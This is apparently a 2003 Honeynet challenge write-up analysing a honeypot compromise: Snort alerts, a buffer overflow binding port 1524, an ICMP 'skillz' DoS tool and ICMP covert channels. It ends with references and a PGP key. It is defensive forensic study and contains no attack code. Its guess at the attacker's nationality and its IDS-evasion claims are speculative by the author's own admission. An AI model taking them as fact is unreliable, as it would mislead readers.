I also run snort which logs many intrusion of type ICMP PING SPEEDERA, ICMP Large ICMP Packet, SCAN Squid, and Scan Proxy Attempt , after that base on the TABLE TIME LINE After the recon or probe I do a dig, nslookup, and whois queries of the individual IP address on the Table to determine their respective geographical place of origin so that I can use it later , I also include attacker IP Address 61.219.90.180 to the query and run p0f on every one of them resulting to a Linux server from Taiwan for 61.219.90.180. After that attacker do a remote buffer overflow which bind to port 1524. For complete details of the answer please go to Sub Title ‘’Operation Recon (Honeynet Question 3)’’
Please go to Sub Title ‘’Attack Sequence Diagram (Honeynet Question 4)’’.
The purpose of ICMP packets with “skillz” in them is to perform a Denial of Service attack to random IP address from the certain source where the binary solbnc is installed. Snort logs say ICMP PING SPEEDERA, ICMP Large ICMP Packet. And when I dump the Application layer later the ‘’skillz’’ is plainly seen on the ICMP packets. For Complete details of the answer please go to Sub Title ‘’Breaking skillz: inside the downloaded tar balls (Honeynet Question 5)’’.
Article Loki from Phrack Magazine, detailed the used of covert channels being used to secretly hidedata, as backdoor, and covert tunnel using ICMP protocol. In This challenge I observe similar occurrence of covert channel using ICMP protocol, and being utilized as stealth Port scan or DDOS tools If I’m not Mistaken. For complete details of the answer please go the Sub Title ‘’ Covert Datagrams (honeynet question 6) ‘’.
Yes!, The most likely Nationality of the Attacker is Italian.
For complete details of the answer please go to Sub Title
“La Gringo y Nacionalista Partida Con Retarded: (Honeynet question 7)”
I love that part go read it.
I’m no expert on TCP/IP, and I may be wrong on my analysis on question number 6. But if I’m right the IDS industry will suffer a big blow, take this for instance if Snort does not record or trigger anything unusual since Snort IDS relies on Anti-Virus like signatures of Known Security Vulnerabilities reported by security researchers and etc. it might not correctly Identify the Intrusion and Let it pass thru.
Ethereal and Snort will do just fine.
Andrew S. Tanenbaum
Computer Networks ISBN 987-3076-46-1
Phrack Magazine Vol. 7 Issue Fifty-Nine – Zero Six (Project Loki)
Smashing Stack For Fun and Profit
Internet Assigned Numbers Authority (IANA)
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc1700.html
DOMAIN NAMES - IMPLEMENTATION AND SPECIFICATION
rfc 1035
Language Translator
Michal Zalewski p0f
Default TTL values on TCP/IP
http://www.switch.ch/docs/ttl_default.html
Lists of fingerprints for passive fingerprint monitoring
http://project.honeynet.org/papers/finger/traces.txt
Passive host Fingerprinting
http://project.honeynet.org/papers/finger/traces.txt
Ethereal
Snort
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBD7KUXIRBACo88ZcN/swVafHOfRbbGThb2TQhVhI4+0GWO8Z/bAbixUBJHcP
hlNiMDZFYBYwTyBXm1OBC1VRoLlm9kA0zhnaf1Ia1VMb5N/hRRvPiU+wxlfOOxzg
lMs23iwy2CLIyWli8B7oZEc2/xemSK8j51TZpk/AR2n4O5Tds++b12AtIwCghjts
REjI4U9X/UIMLYq+sx18bXcD/RmF93g/4/vXajRLCklrB3Zs7Fj7pMH4tUugzgbR
T6BFrckhl5zd3wWGN+QOmdyuvu9sWR8kiM8syN1D5XQq3G0BwN9eREIX7k8FLi4k
ZeF/CebjOj5AYs/pl2qtjKZ4a4ghKpoNyWVJNSlTBbiiUUeDbZXIEsyMJLm15vBt
ApACA/0QSTce20fSm2il3F+FAe9djsAHQrROP+hV2H2X/SbLW+GoDJ4ZWViifi2D
kZtNZ8+QhNnPzEVgTK/6DfvIiTOOjrKxLSO9hCneaWvns3X0Mglv6LccXsqMJVef
55IG4Zqo91tMdlHogyIzz1VJAPm2Cjz/hgyjKBAFhIatZWCTELQ3ZG9waGluZSB2
LiBicml0YW5pY28gKG1pY2hhZWwpIDxkb3BoaW5lQGRpZ2l0ZWxvbmUuY29tPohc
BBMRAgAcBQI+ylFyBQkB4TOABAsKBAMDFQMCAxYCAQIXgAAKCRCHGt9f2twTrhE4
AJ44zgFbG6pCuTKmZdEu6oV8JGvovACfWEWEbJrBe4bh4IBb81vaBYWEynu5AQ0E
PspRixAEAKg9u+JnDvVEVouF8QutUwWQeY3VGhgc6O6rMz0j82pl0FfquU6UAF2N
3l8LwJAwdamipW3aXWM8sDokLl/jnnPgVtjkD6uRJNROlicPHNE1ErfO3E7qo5Nz
wRb9asZ66VSsHl7InatgiFyP4HGcppdFCfm67IYbiA8GbXCkbJR/AAMFA/95jXAX
76e569SCFNMXaUdZqSdDr6xd8pDaVrlEWhHhyvGZS+dR2ingTdw2A/iLA2P8p19e
EjDpj0xDMNocXfstIImZ37CuliU0BdUApRyqUPaA79ej/ieWcsCshttiL1WyMsgI
6Sm/+VY6zpGhb051CUSgNNRBkU4BU5C3ViXFi4hMBBgRAgAMBQI+ylGLBQkB4TOA
AAoJEIca31/a3BOuflAAniejvGrbEnztGk4iHsRj3vJD9XRgAJ9SgUGpZtzNTkEd
L0HOEC8u5qJm1Q==
=nXfb
-----END PGP PUBLIC KEY BLOCK-----
Copyright (c) 2003 By Dophine V. Britanico